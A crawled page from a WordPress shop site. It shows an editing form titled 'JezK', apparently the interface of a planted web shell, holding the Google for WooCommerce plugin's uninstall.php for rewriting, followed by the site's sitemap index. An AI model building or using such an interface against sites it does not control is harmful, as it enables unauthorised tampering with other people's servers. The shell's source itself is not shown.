
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: uninstall.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Google for WooCommerce Uninstall
 *
 * Uninstalling Google for WooCommerce unschedules any pending jobs, deletes its custom tables, related transients,
 * options, and product metadata.
 *
 * @since 1.3.0
 */

declare( strict_types=1 );

use Automattic\WooCommerce\GoogleListingsAndAds\Autoloader;
use Automattic\WooCommerce\GoogleListingsAndAds\DB\TableManager;
use Automattic\WooCommerce\GoogleListingsAndAds\Options\Options;
use Automattic\WooCommerce\GoogleListingsAndAds\Options\Transients;
use Automattic\WooCommerce\GoogleListingsAndAds\Product\Attributes\AttributeManager;
use Automattic\WooCommerce\GoogleListingsAndAds\Product\ProductMetaHandler;

defined( &#039;WP_UNINSTALL_PLUGIN&#039; ) || exit;

/** @see \Automattic\WooCommerce\GoogleListingsAndAds\PluginHelper::get_slug() */
define( &#039;WC_GLA_SLUG&#039;, &#039;gla&#039; );

/** @see \Automattic\WooCommerce\GoogleListingsAndAds\PluginHelper::get_meta_key_prefix() */
define( &#039;WC_GLA_METAKEY_PREFIX&#039;, &#039;_wc_gla&#039; );

/*
 * Only remove ALL plugin data if WC_GLA_REMOVE_ALL_DATA constant is set to true in user&#039;s
 * wp-config.php. This is to prevent data loss when deleting the plugin from the backend
 * and to ensure only the site owner can perform this action.
 */
if ( defined( &#039;WC_GLA_REMOVE_ALL_DATA&#039; ) &amp;&amp; true === WC_GLA_REMOVE_ALL_DATA ) {
	// Load and initialize the autoloader.
	require_once __DIR__ . &#039;/src/Autoloader.php&#039;;
	if ( ! Autoloader::init() ) {
		return;
	}

	global $wpdb;

	// un-schedule all ActionScheduler jobs for GLA
	if ( function_exists( &#039;as_unschedule_all_actions&#039; ) ) {
		as_unschedule_all_actions( null, null, WC_GLA_SLUG );
	}

	// drop custom tables
	foreach ( TableManager::get_all_table_names() as $table ) {
		// phpcs:ignore WordPress.DB.PreparedSQL, WordPress.DB.DirectDatabaseQuery.SchemaChange
		$wpdb-&gt;query( &quot;DROP TABLE IF EXISTS {$wpdb-&gt;prefix}&quot; . WC_GLA_SLUG . &quot;_{$table}&quot; );
	}

	// delete options
	foreach ( Options::get_all_option_keys() as $option ) {
		delete_option( WC_GLA_SLUG . &quot;_{$option}&quot; );
	}

	// delete transients
	foreach ( Transients::get_all_transient_keys() as $transient ) {
		delete_transient( WC_GLA_SLUG . &quot;_{$transient}&quot; );
	}

	// delete products metadata
	foreach ( ProductMetaHandler::get_all_meta_keys() as $meta_key ) {
		delete_post_meta_by_key( WC_GLA_METAKEY_PREFIX . &quot;_{$meta_key}&quot; );
	}

	// delete products attributes
	foreach ( AttributeManager::get_available_attribute_ids() as $attribute_id ) {
		delete_post_meta_by_key( WC_GLA_METAKEY_PREFIX . &quot;_{$attribute_id}&quot; );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://tiffingrab.ca/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
